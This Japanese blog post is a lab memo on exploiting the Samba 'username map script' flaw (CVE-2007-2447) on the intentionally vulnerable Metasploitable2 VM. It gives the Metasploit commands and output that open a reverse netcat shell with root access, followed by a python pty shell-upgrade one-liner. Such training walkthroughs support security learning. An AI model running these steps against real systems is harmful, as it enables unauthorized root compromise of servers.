0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Metasploitable2 exploit SMB

Last updated at Posted at 2024-10-05

Metasploitable2のSMBをエクスプロイトする備忘録です。
SMBには、RCEの脆弱性(CVE-2007-2447)があます。

Metasploitでエクスプロイトする

Kali LinuxのIPアドレス:192.168.56.10
Metasploitable2のサーバーのIPアドレス:192.168.56.20
Metasploitを起動します。

msfconsole

exploitを検索します。

msf6 > search CVE-2007-2447

Matching Modules
================

   #  Name                                Disclosure Date  Rank       Check  Description
   -  ----                                ---------------  ----       -----  -----------
   0  exploit/multi/samba/usermap_script  2007-05-14       excellent  No     Samba "username map script" Command Execution

0番を使用します。

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_netcat

payloadは、要らないようなので、オプションを確認します。

msf6 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    139              yes       The target port (TCP)


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.3.15        yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

RHOSTSのRequiredがyesで、値がセットされてないので、セットします。
LHOSTにeth0のIPアドレスがセットされているので、変更します。

msf6 exploit(multi/samba/usermap_script) > set RHOSTS 192.168.56.20
RHOSTS => 192.168.56.20
msf6 exploit(multi/samba/usermap_script) > set LHOST 192.168.56.10
LHOST => 192.168.56.10

exploitします。

msf6 exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP handler on 192.168.56.10:4444 
[*] Command shell session 1 opened (192.168.56.10:4444 -> 192.168.56.20:44522) at 2024-10-05 14:04:05 +0900

whoami
root
hostname
metasploitable

シェルが無いので、対話的シェルの出し方。

python -c 'import pty;pty.spawn("/bin/bash")'
root@metasploitable:/#

プロンプトが表示されます。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?